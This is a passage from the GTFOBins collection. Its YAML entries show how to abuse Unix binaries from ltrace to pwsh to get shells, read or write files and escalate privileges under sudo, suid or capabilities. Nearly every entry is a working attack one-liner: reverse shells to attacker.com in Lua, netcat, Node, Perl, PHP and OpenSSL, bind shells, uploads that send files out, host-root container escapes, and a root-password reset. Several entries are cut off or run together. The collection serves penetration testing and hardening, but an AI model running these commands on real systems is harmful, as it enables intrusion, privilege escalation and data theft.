Run the following on the attacker box beforehand: 1. `lpadmin -p printer -v socket://localhost -E` to create a virtual printer; 2. `lpadmin -d printer` to set the new printer as default; 3. `cupsctl --remote-any` to enable printing from the Internet. contexts: sudo: suid: unprivileged: receiver: code: |- nc -l -p 9100 >/path/to/output-file comment: |- A TCP server can be used on the attacker box to receive the data. ... ================================================ FILE: _gtfobins/ltrace ================================================ --- functions: file-read: - binary: false code: |- ltrace -F /path/to/input-file /dev/null comment: |- The file is parsed as a configuration file and its content is shown as error messages. contexts: sudo: suid: unprivileged: file-write: - code: |- ltrace -s 999 -o /path/to/input-file ltrace -F DATA comment: |- The data to be written appears amid the library function call log, quoted and with special characters escaped in octal notation. The string representation will be truncated, pick a value big enough instead of `999`. More generally, any binary that executes whatever library function call passing arbitrary data can be used in place of `ltrace -F DATA`. contexts: sudo: unprivileged: shell: - code: |- ltrace -b -L /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/lua ================================================ --- functions: bind-shell: - code: |- lua -e ' local k=require("socket"); local s=assert(k.bind("*",12345)); local c=s:accept(); while true do local r,x=c:receive();local f=assert(io.popen(r,"r")); local b=assert(f:read("*a"));c:send(b); end;c:close();f:close();' comment: |- This requires `lua-socket` to be available. connector: tcp-client contexts: sudo: suid: shell: true unprivileged: download: - code: |- lua -e ' local k=require("socket"); local s=assert(k.bind("*",12345)); local c=s:accept(); local d,x=c:receive("*a"); c:close(); local f=io.open("/path/to/output-file", "wb"); f:write(d); io.close(f);' comment: |- This requires `lua-socket` to be available. contexts: sudo: suid: unprivileged: sender: tcp-client file-read: - code: |- lua -e 'local f=io.open("/path/to/input-file", "rb"); io.write(f:read("*a")); io.close(f);' contexts: sudo: suid: unprivileged: file-write: - code: |- lua -e 'local f=io.open("/path/to/output-file", "wb"); f:write("DATA"); io.close(f);' contexts: sudo: suid: unprivileged: reverse-shell: - code: |- lua -e ' local s=require("socket"); local t=assert(s.tcp()); t:connect("attacker.com",12345); while true do local r,x=t:receive();local f=assert(io.popen(r,"r")); local b=assert(f:read("*a"));t:send(b); end; f:close();t:close();' comment: |- This requires `lua-socket` to be available. contexts: sudo: suid: shell: true unprivileged: listener: tcp-server shell: - code: |- lua -e 'os.execute("/bin/sh")' contexts: sudo: suid: shell: true unprivileged: upload: - code: |- lua -e ' local f=io.open("/path/to/input-file", "rb") local d=f:read("*a") io.close(f); local s=require("socket"); local t=assert(s.tcp()); t:connect("attacker.com",12345); t:send(d); t:close();' comment: |- This requires `lua-socket` to be available. contexts: sudo: suid: unprivileged: receiver: tcp-server ... ================================================ FILE: _gtfobins/lualatex ================================================ --- functions: inherit: - code: |- lualatex -shell-escape '\directlua{...}\end' comment: |- This allows to run Lua code (`...`). contexts: sudo: suid: unprivileged: from: lua ... ================================================ FILE: _gtfobins/luatex ================================================ --- functions: inherit: - code: |- luatex -shell-escape '\directlua{...}\end' comment: |- This allows to run Lua code (`...`). contexts: sudo: suid: unprivileged: from: lua ... ================================================ FILE: _gtfobins/lwp-download ================================================ --- functions: download: - code: |- lwp-download http://attacker.com/path/to/input-file /path/to/output-file comment: |- The destination file `/path/to/output-file` can be omitted, in that case the file is saved to `input-file` in the current working directory. contexts: sudo: unprivileged: file-read: - code: |- lwp-download file:///path/to/input-file /dev/stdout contexts: sudo: unprivileged: file-write: - code: |- echo DATA >/path/to/temp-file lwp-download file:///path/to/temp-file /path/to/output-file contexts: sudo: unprivileged: - code: |- lwp-download file:///path/to/input-file /path/to/output-file comment: |- This actually copies a file to a destination. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/lwp-request ================================================ --- functions: file-read: - code: |- lwp-request file:///path/to/input-file contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/lxd ================================================ --- functions: shell: - code: |- lxc init ubuntu:16.04 x -c security.privileged=true lxc config device add x x disk source=/ path=/mnt/ recursive=true lxc start x lxc exec x /bin/sh comment: |- The image (e.g., `ubuntu:16.04`) must be present already, otherwise it will be downloaded. contexts: sudo: suid: - code: |- lxc image import ./alpine*.tar.gz --alias x lxc init x x -c security.privileged=true lxc config device add x x disk source=/ path=/mnt/ recursive=true lxc start x lxc exec x /bin/sh comment: |- This requires steps to be run offline, then the resulting image must be uploaded to target. Build the local image with [lxd-alpine-builder](https://github.com/saghul/lxd-alpine-builder): ``` git clone https://github.com/saghul/lxd-alpine-builder cd lxd-alpine-builder sudo ./build-alpine -a i686 ``` contexts: sudo: suid: ... ================================================ FILE: _gtfobins/m4 ================================================ --- functions: command: - code: |- echo 'esyscmd(/path/to/command)' | m4 contexts: sudo: suid: shell: true unprivileged: file-read: - binary: false code: |- m4 /path/to/input-file contexts: sudo: suid: unprivileged: shell: - code: |- echo 'esyscmd(/bin/sh 0<&2 1>&2)' | m4 contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/mail ================================================ --- functions: shell: - code: |- mail --exec='!/bin/sh' contexts: sudo: suid: shell: true unprivileged: version: |- GNU - code: |- mail -f /etc/hosts !/bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/make ================================================ --- functions: file-read: - binary: false code: |- make -s --eval='$(file >/dev/stdout,$(file "/path/to/output-file" }' contexts: sudo: suid: unprivileged: shell: - code: |- mawk 'BEGIN {system("/bin/sh")}' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/minicom ================================================ --- comment: |- Note that in some versions, `Meta-Z` is used in place of `Ctrl-A`. functions: shell: - code: |- minicom -D /dev/null comment: |- Start the following command to open the TUI interface, then: 1. press `Ctrl-A o` and select `Filenames and paths`; 2. press `e`, type `/bin/sh`, then `Enter`; 3. Press `Esc` twice; 4. Press `Ctrl-A k` to drop the shell. After the shell, exit with `Ctrl-A x`. contexts: sudo: suid: comment: |- Start the following command to open the TUI interface, then: 1. press `Ctrl-A o` and select `Filenames and paths`; 2. press `e`, type `/bin/sh -p`, then `Enter`; 3. Press `Esc` twice; 4. Press `Ctrl-A k` to drop the shell. After the shell, exit with `Ctrl-A x`. unprivileged: - code: |- echo '! exec /bin/sh /dev/tty 2>/dev/tty' >/path/to/temp-file minicom -D /dev/null -S /path/to/temp-file reset^J comment: |- After the shell, exit with `Ctrl-A x`. contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/more ================================================ --- functions: file-read: - code: |- more /path/to/input-file comment: |- The file is displayed in the terminal interface. contexts: sudo: suid: unprivileged: shell: - code: |- more /etc/hosts !/bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/mosh-server ================================================ --- functions: shell: - code: |- mosh --server=mosh-server localhost /bin/sh comment: |- This requires a valid SSH access. contexts: sudo: comment: |- The `mosh-server` is executed via `sudo`. ... ================================================ FILE: _gtfobins/mosquitto ================================================ --- functions: file-read: - code: |- mosquitto -c /path/to/input-file comment: |- The file is actually parsed and the first wrong line (ending with a newline or a null character) is returned in an error message. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/mount ================================================ --- functions: privilege-escalation: - code: |- mount -o bind /bin/sh /bin/mount mount comment: |- This overrides `mount` itself with a shell (or any other executable). contexts: sudo: ... ================================================ FILE: _gtfobins/msfconsole ================================================ --- functions: inherit: - code: |- msfconsole irb contexts: sudo: unprivileged: from: irb ... ================================================ FILE: _gtfobins/msgattrib ================================================ --- functions: file-read: - binary: false code: |- msgattrib -P /path/to/input-file comment: |- The file is parsed and displayed as a Java `.properties` file. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/msgcat ================================================ --- functions: file-read: - binary: false code: |- msgcat -P /path/to/input-file comment: |- The file is parsed and displayed as a Java `.properties` file. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/msgconv ================================================ --- functions: file-read: - binary: false code: |- msgconv -P /path/to/input-file comment: |- The file is parsed and displayed as a Java `.properties` file. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/msgfilter ================================================ --- functions: file-read: - binary: false code: |- msgfilter -P -i /path/to/input-file /bin/cat comment: |- The file is parsed and displayed as a Java `.properties` file. `/bin/cat` can be replaced with any other *filter* program. contexts: sudo: suid: unprivileged: shell: - code: |- echo x | msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID' comment: |- The `kill` command is needed to spawn the shell only once. Instead of readinf from standard input, it can read files passed via the `-i` option. contexts: sudo: suid: code: |- echo x | msgfilter -P /bin/sh -p -c '/bin/sh -p 0<&2 1>&2; kill $PPID' shell: false unprivileged: ... ================================================ FILE: _gtfobins/msgmerge ================================================ --- functions: file-read: - binary: false code: |- msgmerge -P /path/to/input-file /dev/null comment: |- The file is parsed and displayed as a Java `.properties` file. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/msguniq ================================================ --- functions: file-read: - binary: false code: |- msguniq -P /path/to/input-file comment: |- The file is parsed and displayed as a Java `.properties` file. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/mtr ================================================ --- functions: file-read: - binary: false code: |- mtr --raw -F /path/to/input-file comment: |- The file is actually parsed, thus the content is corrupted by error prints. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/multitime ================================================ --- functions: shell: - code: |- multitime /bin/sh contexts: sudo: suid: code: |- multitime /bin/sh -p unprivileged: ... ================================================ FILE: _gtfobins/mutt ================================================ --- functions: file-read: - binary: false code: |- mutt -F /path/to/input-file comment: |- The file is leaked as error messages. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/mv ================================================ --- functions: file-write: - code: |- echo DATA >/path/to/temp-file mv /path/to/temp-file /path/to/output-file contexts: sudo: suid: unprivileged: privilege-escalation: - code: |- mv /path/to/input-file /path/to/output-file comment: |- This can be used to move and then read or write files from a restricted file systems or with elevated privileges. contexts: sudo: suid: ... ================================================ FILE: _gtfobins/mypy ================================================ --- functions: file-read: - binary: false code: |- mypy /path/to/input-file comment: |- Partial content is leaked as error messages. contexts: sudo: unprivileged: file-write: - binary: false code: |- mypy /path/to/input-file --junit-xml /path/to/output-file comment: |- Partial content is leaked as error messages inside some XML tags. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/mysql ================================================ --- comment: |- A valid MySQL server must be available to connect to. functions: library-load: - code: |- mysql --default-auth ../../../../../path/to/lib comment: |- The following loads the `/path/to/lib.so` shared object. contexts: sudo: suid: unprivileged: version: |- 5.5 shell: - code: |- mysql -e '\! /bin/sh' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/nano ================================================ --- functions: file-read: - binary: false code: |- nano /path/to/input-file comment: |- The file content is displayed in the terminal interface. contexts: sudo: suid: unprivileged: file-write: - code: |- nano /path/to/output-file DATA ^O contexts: sudo: suid: unprivileged: shell: - code: |- nano ^R^X reset; sh 1>&0 2>&0 contexts: sudo: suid: shell: true unprivileged: - code: |- nano -s /bin/sh /bin/sh ^T^T comment: |- The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. contexts: sudo: suid: code: |- nano -s '/bin/sh -p' /bin/sh -p ^T^T shell: false unprivileged: ... ================================================ FILE: _gtfobins/nasm ================================================ --- functions: file-read: - code: |- nasm -@ /path/to/input-file comment: |- The file content is treated as command line options and disclosed throught error messages. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/nawk ================================================ --- alias: gawk ... ================================================ FILE: _gtfobins/nc ================================================ --- functions: bind-shell: - code: |- nc -l -p 12345 -e /bin/sh comment: |- This only works with netcat traditional. connector: tcp-client contexts: sudo: suid: shell: true unprivileged: download: - code: |- nc -l -p 12345 >/path/to/output-file comment: |- The file is actually written by the invoking shell. contexts: sudo: suid: unprivileged: sender: tcp-client - code: |- nc attacker.com 12345 >/path/to/output-file comment: |- The file is actually written by the invoking shell. contexts: sudo: suid: unprivileged: sender: tcp-server reverse-shell: - code: |- nc -e /bin/sh attacker.com 12345 comment: |- This only works with netcat traditional. contexts: sudo: suid: shell: true unprivileged: listener: tcp-server upload: - code: |- nc -l -p 12345 /path/to/temp-file needrestart -c /path/to/temp-file comment: |- This allows to run Perl code (`...`). contexts: sudo: unprivileged: from: perl ... ================================================ FILE: _gtfobins/neofetch ================================================ --- functions: file-read: - binary: false code: |- neofetch --ascii /path/to/input-file comment: |- The file content is used as the logo while some other information is displayed on its right. contexts: sudo: unprivileged: shell: - code: |- echo 'exec /bin/sh' >/path/to/temp-file neofetch --config /path/to/temp-file contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/nft ================================================ --- functions: file-read: - code: |- nft -f /path/to/input-file comment: |- The content is actually parsed and corrupted by the command. contexts: sudo: unprivileged: version: |- `nftables` >= 0.9.0 ... ================================================ FILE: _gtfobins/nginx ================================================ --- functions: download: - code: |- cat >/path/to/temp-file </path/to/temp-file </path/to/temp-file </path/to/temp-file nmap --script=/path/to/temp-file comment: |- This allows to run Lua code (`...`). contexts: sudo: suid: unprivileged: from: lua shell: - code: |- nmap --interactive !/bin/sh contexts: sudo: suid: shell: true unprivileged: version: |- 2.02 to 5.21 ... ================================================ FILE: _gtfobins/node ================================================ --- functions: bind-shell: - code: |- node -e 'sh = require("child_process").spawn("/bin/sh"); require("net").createServer(function (client) { client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }).listen(12345)' connector: tcp-client contexts: sudo: suid: code: |- node -e 'sh = require("child_process").spawn("/bin/sh", ["-p"]); require("net").createServer(function (client) { client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }).listen(12345)' unprivileged: download: - code: |- node -e 'require("http").get("http://attacker.com/path/to/input-file", res => res.pipe(require("fs").createWriteStream("/path/to/output-file")))' contexts: sudo: suid: unprivileged: sender: http-server file-read: - code: |- node -e 'process.stdout.write(require("fs").readFileSync("/path/to/input-file"))' contexts: sudo: suid: unprivileged: file-write: - code: |- node -e 'require("fs").writeFileSync("/path/to/output-file", "DATA")' contexts: sudo: suid: unprivileged: reverse-shell: - code: |- node -e 'sh = require("child_process").spawn("/bin/sh"); require("net").connect(12345, "attacker.com", function () { this.pipe(sh.stdin); sh.stdout.pipe(this); sh.stderr.pipe(this); })' contexts: sudo: suid: code: |- node -e 'sh = require("child_process").spawn("/bin/sh", ["-p"]); require("net").connect(12345, "attacker.com", function () { this.pipe(sh.stdin); sh.stdout.pipe(this); sh.stderr.pipe(this); })' unprivileged: listener: tcp-server shell: - code: |- node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})' contexts: capabilities: code: |- node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})' list: - CAP_SETUID sudo: suid: code: |- node -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]})' unprivileged: upload: - code: |- node -e 'require("fs").createReadStream("/path/to/input-file").pipe(require("http").request("http://attacker.com/path/to/output-file"))' contexts: sudo: suid: unprivileged: receiver: http-server ... ================================================ FILE: _gtfobins/nohup ================================================ --- functions: command: - code: |- nohup /path/to/command cat nohup.out comment: |- The `nohup.out` file contains the standard output and error of the command. contexts: sudo: suid: unprivileged: shell: - code: |- nohup /bin/sh -c '/bin/sh /dev/tty 2>/dev/tty' comment: |- This creates a `nohup.out` file in the current working directory. contexts: sudo: suid: code: |- nohup /bin/sh -p -c '/bin/sh -p /dev/tty 2>/dev/tty' shell: false unprivileged: ... ================================================ FILE: _gtfobins/npm ================================================ --- functions: shell: - code: |- npm exec /bin/sh contexts: sudo: unprivileged: - code: |- echo '{"scripts": {"preinstall": "/bin/sh"}}' >package.json npm -C . i contexts: sudo: unprivileged: - code: |- echo '{"scripts": {"xxx": "/bin/sh"}}' >package.json npm -C . run xxx contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/nroff ================================================ --- functions: file-read: - binary: false code: |- nroff /path/to/input-file comment: |- The file is typeset and some warning messages may appear. contexts: sudo: unprivileged: shell: - code: |- echo /bin/sh >groff chmod +x groff GROFF_BIN_PATH=. nroff contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/nsenter ================================================ --- functions: shell: - code: |- nsenter /bin/sh comment: |- The shell command can be omitted. contexts: sudo: suid: code: |- nsenter /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/ntpdate ================================================ --- functions: file-read: - binary: false code: |- ntpdate -a x -k /path/to/input-file -d localhost comment: |- The file is actually parsed and lines are leaked through error messages. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/nvim ================================================ --- alias: vim ... ================================================ FILE: _gtfobins/octave ================================================ --- comment: |- The payloads are compatible with GUI mode. functions: file-read: - binary: false code: |- octave-cli --eval 'format none; fid = fopen("/path/to/input-file"); while(!feof(fid)); txt = fgetl(fid); disp(txt); endwhile; fclose(fid);' contexts: sudo: suid: unprivileged: file-write: - binary: false code: |- octave-cli --eval 'fid = fopen("/path/to/output-file", "w"); fputs(fid, "DATA"); fclose(fid);' contexts: sudo: suid: unprivileged: shell: - code: |- octave-cli --eval 'system("/bin/sh")' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/od ================================================ --- functions: file-read: - code: |- od -An -c -w999 /path/to/input-file comment: |- Three spaces are added before each character in the read file (wrapped at the specified value, i.e., `999`), and non-printable chars are printed as backslash escape sequences. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/opencode ================================================ --- functions: command: - code: |- opencode ! /path/to/command contexts: sudo: suid: shell: true unprivileged: inherit: - code: |- opencode db '...' comment: |- This allows to run SQLite queries (`...`) provided that `sqlite3` is installed. contexts: sudo: unprivileged: from: sqlite3 ... ================================================ FILE: _gtfobins/openssl ================================================ --- functions: download: - code: |- openssl s_client -quiet -connect attacker.com:12345 >/path/to/output-file contexts: sudo: suid: unprivileged: sender: tls-server file-read: - code: |- openssl enc -in /path/to/input-file contexts: sudo: suid: unprivileged: file-write: - code: |- echo DATA | openssl enc -out /path/to/output-file contexts: sudo: suid: unprivileged: - code: |- openssl enc -in /path/to/input-file -out /path/to/output-file contexts: sudo: suid: unprivileged: library-load: - code: |- openssl req -engine ./lib.so contexts: sudo: suid: unprivileged: reverse-shell: - code: |- mkfifo /path/to/temp-socket /bin/sh -i &1 | openssl s_client -quiet -connect attacker.com:12345 >/path/to/temp-socket comment: |- The shell process is not spawn by `openssl`. contexts: sudo: suid: unprivileged: listener: tls-server upload: - code: |- openssl s_client -quiet -connect attacker.com:12345 x.sh fpm -n x -s dir -t deb -a all --before-install x.sh . ``` contexts: sudo: ... ================================================ FILE: _gtfobins/pandoc ================================================ --- functions: file-read: - binary: false code: |- pandoc -t plain /path/to/input-file contexts: sudo: suid: unprivileged: file-write: - binary: false code: |- echo DATA | pandoc -t plain -o /path/to/output-file contexts: sudo: suid: unprivileged: inherit: - code: |- echo '...' >/path/to/temp-file pandoc -L /path/to/temp-file /dev/null comment: |- This allows to run Lua code (`...`). contexts: sudo: suid: unprivileged: from: lua ... ================================================ FILE: _gtfobins/passwd ================================================ --- functions: privilege-escalation: - code: |- echo -e 'x\nx' | passwd comment: |- This changes the root password to `x`, so it's now possible to log in using, for example, `su`. contexts: sudo: ... ================================================ FILE: _gtfobins/paste ================================================ --- functions: file-read: - binary: false code: |- paste /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/pax ================================================ --- functions: file-read: - code: |- pax -w /path/to/input-file | tar -xO contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/pdb ================================================ --- functions: inherit: - code: |- echo '...' >/path/to/temp-file pdb /path/to/temp-file cont comment: |- This allows to run Python code (`...`). contexts: sudo: unprivileged: from: python ... ================================================ FILE: _gtfobins/pdflatex ================================================ --- functions: file-read: - code: |- pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}' pdftotext texput.pdf - comment: |- The read file will be part of the PDF output. contexts: sudo: suid: unprivileged: file-write: - code: |- pdflatex '\documentclass{article}\newwrite\tempfile\begin{document}\immediate\openout\tempfile=output-file.tex\immediate\write\tempfile{DATA}\immediate\closeout\tempfile\end{document}' comment: |- The file can only be written in the current directory, and the `.tex` extension is mandatory. contexts: sudo: suid: unprivileged: shell: - code: |- pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/pdftex ================================================ --- functions: shell: - code: |- pdftex --shell-escape '\write18{/bin/sh}\end' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/perf ================================================ --- functions: shell: - code: |- perf stat /bin/sh contexts: sudo: suid: code: |- perf stat /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/perl ================================================ --- functions: download: - code: |- perl -MIO::Socket::INET -e '$s=new IO::Socket::INET(PeerAddr=>"attacker.com",PeerPort=>80,Proto=>"tcp") or die; print $s "GET /path/to/input-file HTTP/1.1\r\nHost: attacker.com\r\nMetadata: true\r\nConnection: close\r\n\r\n"; open(my $fh, ">", "/path/to/output-file") or die; $in_content = 0; while (<$s>) { if ($in_content) { print $fh $_; } elsif ($_ eq "\r\n") { $in_content = 1; } } close($s); close($fh);' contexts: sudo: unprivileged: sender: http-server file-read: - code: |- perl -ne print /path/to/input-file contexts: sudo: suid: unprivileged: reverse-shell: - code: |- perl -e 'use Socket;$i="attacker.com";$p=12345;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' contexts: sudo: unprivileged: listener: tcp-server shell: - code: |- perl -e 'exec "/bin/sh"' contexts: capabilities: code: |- perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh"' list: - CAP_SETUID sudo: unprivileged: - code: |- PERL5OPT=-d PERL5DB='exec "/bin/sh"' perl /dev/null comment: |- The `/dev/null` part can be omitted, just use `Ctrl-D` in order to spawn the shell. contexts: sudo: unprivileged: upload: - code: |- perl -MIO::Socket::INET -e '$s = new IO::Socket::INET(PeerAddr=>"attacker.com", PeerPort=>80, Proto=>"tcp") or die;open(my $file, "<", "/path/to/input-file") or die;$content = join("", <$file>);close($file);$headers = "POST / HTTP/1.1\r\nHost: attacker.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " . length($content) . "\r\nConnection: close\r\n\r\n";print $s $headers . $content;while (<$s>) { }close($s);' contexts: sudo: unprivileged: receiver: http-server ... ================================================ FILE: _gtfobins/perlbug ================================================ --- functions: shell: - code: |- perlbug -s 'x x x' -r x -c x -e 'exec /bin/sh #' comment: |- This requires to press `Enter` serveral times before the shell is spawn. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/pexec ================================================ --- functions: shell: - code: |- pexec /bin/sh contexts: sudo: suid: code: |- pexec /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/pg ================================================ --- functions: file-read: - code: |- pg /path/to/input-file contexts: sudo: suid: unprivileged: shell: - code: |- pg /etc/hosts !/bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/php ================================================ --- functions: command: - code: |- php -r 'echo shell_exec("/path/to/command");' contexts: sudo: suid: shell: true unprivileged: - code: |- php -r '$r=array(); exec("/path/to/command", $r); print(join("\n",$r));' contexts: sudo: suid: shell: true unprivileged: - code: |- php -r '$p = array(array("pipe","r"),array("pipe","w"),array("pipe", "w"));$h = @proc_open("/path/to/command", $p, $pipes);if($h&&$pipes){while(!feof($pipes[1])) echo(fread($pipes[1],4096));while(!feof($pipes[2])) echo(fread($pipes[2],4096));fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($h);}' contexts: sudo: suid: shell: true unprivileged: download: - code: |- php -r '$c=file_get_contents("http://attacker.com/path/to/input-file"); file_put_contents("/path/to/output-file", $c);' contexts: sudo: suid: unprivileged: sender: http-server file-read: - code: |- php -r 'readfile("/path/to/input-file");' contexts: sudo: suid: unprivileged: file-write: - code: |- php -r 'file_put_contents("/path/to/output-file", "DATA");' contexts: sudo: suid: unprivileged: reverse-shell: - code: |- php -r '$sock=fsockopen("attacker.com",12345);exec("/bin/sh -i 0<&3 1>&3 2>&3");' contexts: sudo: suid: shell: true unprivileged: listener: tcp-server shell: - code: |- php -r 'system("/bin/sh -i");' contexts: capabilities: code: |- php -r 'posix_setuid(0); system("/bin/sh -i");' list: - CAP_SETUID sudo: suid: shell: true unprivileged: tty: false - code: |- php -r 'passthru("/bin/sh -i");' contexts: capabilities: code: |- php -r 'posix_setuid(0); passthru("/bin/sh -i");' list: - CAP_SETUID sudo: suid: shell: true unprivileged: tty: false - code: |- php -r '$h=@popen("/bin/sh -i","r"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }' contexts: capabilities: code: |- php -r 'posix_setuid(0); $h=@popen("/bin/sh -i","r"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }' list: - CAP_SETUID sudo: suid: shell: true unprivileged: tty: false - code: |- php -r 'pcntl_exec("/bin/sh");' contexts: capabilities: code: |- php -r 'posix_setuid(0); pcntl_exec("/bin/sh");' list: - CAP_SETUID sudo: suid: code: |- php -r 'pcntl_exec("/bin/sh", ["-p"]);' shell: false unprivileged: upload: - code: |- php -S 0.0.0.0:80 contexts: sudo: suid: unprivileged: receiver: http-client version: |- >= 5.4 ... ================================================ FILE: _gtfobins/pic ================================================ --- functions: file-read: - binary: false code: |- pic /path/to/input-file comment: |- The output is prefixed with some content. contexts: sudo: suid: unprivileged: shell: - code: |- pic -U .PS sh X sh X contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/pico ================================================ --- alias: nano ... ================================================ FILE: _gtfobins/pidstat ================================================ --- functions: shell: - code: |- pidstat -e /bin/sh contexts: sudo: suid: code: |- pidstat -e /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/pip ================================================ --- functions: inherit: - code: |- echo '...' >setup.py pip install --break-system-packages . comment: |- This allows to run Python code (`...`). It executes a Python script named `setup.py` in the directory passed as argument (`.`). Keep in mind that the TTY is lost, so `/dev/tty` can be used, for example: ``` echo 'import os; os.system("exec /bin/sh /dev/tty 2>/dev/tty")' >setup.py ``` The `--break-system-packages` flag can be omitted in older systems. contexts: sudo: unprivileged: from: python shell: - code: |- pip config --editor '/bin/sh -s' edit contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/pipx ================================================ --- functions: inherit: - code: |- echo '...' >/path/to/file.py pipx run /path/to/file.py comment: |- This allows to run Python code (`...`). contexts: sudo: unprivileged: from: python ... ================================================ FILE: _gtfobins/pkexec ================================================ --- functions: shell: - code: |- pkexec /bin/sh contexts: sudo: ... ================================================ FILE: _gtfobins/pkg ================================================ --- functions: command: - code: |- pkg install -y --no-repo-update ./x-1.0.txz comment: |- Generate the FreeBSD package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target. ``` echo /path/to/command >x.sh fpm -n x -s dir -t freebsd -a all --before-install x.sh . ``` contexts: sudo: ... ================================================ FILE: _gtfobins/plymouth ================================================ --- functions: shell: - code: |- plymouth ask-for-password --prompt=x --command=/bin/sh contexts: sudo: suid: code: |- plymouth ask-for-password --prompt=x --command='/bin/sh -p' shell: false unprivileged: ... ================================================ FILE: _gtfobins/podman ================================================ --- functions: shell: - code: |- podman run --rm -it --privileged --volume /:/mnt alpine chroot /mnt /bin/sh comment: |- This requires an actual image to be available (e.g., `alpine`) downloading it if not present. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/poetry ================================================ --- functions: inherit: - code: |- echo '...' >/path/to/temp-file poetry run python /path/to/temp-file comment: |- This allows to run Python code (`...`). A valid `pyproject.toml` file must be present in the current working directory, you can create one with `poetry init -n`. contexts: sudo: unprivileged: from: python ... ================================================ FILE: _gtfobins/posh ================================================ --- functions: shell: - code: |- posh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/pr ================================================ --- functions: file-read: - binary: false code: |- pr -T /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/procmail ================================================ --- functions: command: - blind: false code: |- echo -e ':0\n| /path/to/command >/path/to/temp-file procmail -m /path/to/temp-file comment: |- The program is picky about the file ownership, and waits for some input. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/pry ================================================ --- functions: inherit: - code: |- pry contexts: sudo: unprivileged: from: irb ... ================================================ FILE: _gtfobins/psftp ================================================ --- functions: shell: - code: |- psftp !/bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/psql ================================================ --- comment: |- A valid PostgreSQL server must be available to connect to. functions: inherit: - code: |- psql \? contexts: sudo: suid: unprivileged: from: less shell: - code: |- psql \! /bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/ptx ================================================ --- comment: |- While the program is capable of reading the file, it outputs a "permuted index" of its content, thus altering it. Adjusting the options could yield more readable outputs. functions: file-read: - binary: false code: |- ptx -w 999 /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/puppet ================================================ --- functions: file-read: - code: |- puppet filebucket -l diff /dev/null /path/to/input-file comment: |- The read file content is corrupted by the `diff` output format. The actual `diff` command is executed. contexts: sudo: unprivileged: file-write: - code: |- puppet apply -e 'file { "/path/to/output-file": content => "DATA" }' contexts: sudo: unprivileged: shell: - code: |- puppet apply -e "exec { '/bin/sh <$(tty) >$(tty) 2>$(tty)': }" contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/pwsh ================================================ --- functions: file-write: - code: |- pwsh -c '"DATA" | Out-File /path/to/output-file' contexts: sudo: unprivileged: shell: - code: |- pwsh contexts: sudo: unprivileged: ... ================================================ FILE: 